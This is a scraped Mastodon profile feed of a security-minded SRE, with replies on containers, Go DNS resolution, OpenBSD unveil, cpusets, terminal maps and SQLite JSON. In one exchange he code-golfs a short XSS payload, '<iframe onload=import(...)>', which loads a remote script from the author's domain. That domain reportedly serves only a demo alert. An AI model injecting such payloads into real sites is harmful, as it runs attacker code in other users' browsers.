David Leadbeater

331 Followers
305 Following
143 Posts
Monitoring 📊, SRE, Open Source, Security 🔐. Emoji fan 🦸‍♂️. Just your average cynical Brit 🇬🇧 in 🇦🇺. He/him.
🕸https://dgl.cx
🛸https://dg.cx

@whitequark @th at work we have an environment (on kubernetes, but could be ported to other things) where technically it’s running inside a container but docker works without the awful docker-in-docker hacks, this needs some careful application of user namespaces. I think various commercial offerings like exe.dev and bunny.net (their magic containers product) do things along these lines using kata containers.

The real problem is there are almost too many ways to do this and you get to integrate them yourself…

@xz note that Go can use libc as a resolver (https://pkg.go.dev/net#hdr-Name_Resolution), if this breaks you setting one of those environment variables is a potential workaround, but only a temporary one.

I'd also recommend unveils for the other DNS related files listed in my post (/etc/hosts in particular, there are some very subtle behaviours there, some recursive DNS servers will resolve "localhost", others won't, so if you don't have /etc/hosts, it's essentially random whether "localhost" works). There's a few more details to be worked out, I'll share a Go specific update to that post soon.

net package - net - Go Packages

Package net provides a portable interface for network I/O, including TCP/IP, UDP, domain name resolution, and Unix domain sockets.

@itamarst I wonder whether if you used cpusets to isolate a core (https://documentation.ubuntu.com/real-time/latest/how-to/isolate-workload-cpusets/) and then only ran your workload on it if it would help. Although a lot of setup for what should be simple.
How to isolate CPUs from general execution with cpusets

Cpusets is a kernel feature that allows users to assign specific CPUs and memory nodes to a set of tasks, enabling fine-grained control over resource allocation. It also allows you to exclude certa...

Real-time Ubuntu
@freddy @sash interesting… https://developer.mozilla.org/en-US/docs/Web/API/SVGElement/load_event claims it doesn’t work in Firefox and references a 15 year old bug… but yes, that would get a few more characters :)
SVGElement: load event - Web APIs | MDN

The load event fires on an SVGElement when it is loaded in the browser, e.g., in the DOM in the case of an embedded <svg>. It is basically the same as the standard load DOM event.

MDN Web Docs
@sash this takes advantage of the fact (some?) browsers by default load a blank iframe, so it's fewer characters than <img src=x onerror=...>. Works in Chrome at least.

@sash very cool find! I think it would be possible to fit it (just) in 32 characters with: <iframe onload=import('//d.cx')>

(That url works; d.cx is serving a hello world alert payload at the moment, it works with e.g. https://d.cx/~dgl/l.html but I haven't tried actually doing it with OpenWRT.)

David Leadbeater (welcome dgl@! ​) has shared some information regarding the recent __pledge_open(2) changes in #OpenBSD 7.9-beta, including some good advice for porters. 

https://marc.info/?l=openbsd-ports&m=177389567528083&w=2

'Pledge changes in 7.9-beta' - MARC

@itamarst http://MapSCII.me is possibly the best alternate use I’ve seen, a bit lower precision in maps doesn’t matter. It’s a shame more terminals don’t support ReGIS (although the kitty graphics protocol is probably more realistically what they should support).
GitHub - rastapasta/mapscii: 🗺 MapSCII is a Braille & ASCII world map renderer for your console - enter => telnet mapscii.me <= on Mac (brew install telnet) and Linux, connect with PuTTY on Windows

🗺 MapSCII is a Braille & ASCII world map renderer for your console - enter => telnet mapscii.me <= on Mac (brew install telnet) and Linux, connect with PuTTY on Windows - rastapasta/mapscii

GitHub

The core insight of DevOps, at the very beginning, was that when people need to carry the pager for the code they write, they write code that won’t wake them up at Oh My God, What The Fuck O’Clock after it falls over in production again. Everything since - DORA, all of it - has been in service of this one idea that aligning software discipline with quality of life consequences makes better software.

It’s an idea that should be everywhere and in everything.

@foone https://github.com/Jwink3101/jsonlitedb is one example of roughly that wrapper, although I’ve not used it (I have my own based on some of the ideas in my post at https://dgl.cx/2020/06/sqlite-json-support). I actually mostly use key/value DBs where I can (often leveldb, as it’s simple and has cross language implementations, but the other ones people have pointed out are reasonable choices too).
GitHub - Jwink3101/jsonlitedb: SQLite3-backed JSON document database with support for indices and advanced queries

SQLite3-backed JSON document database with support for indices and advanced queries - Jwink3101/jsonlitedb

GitHub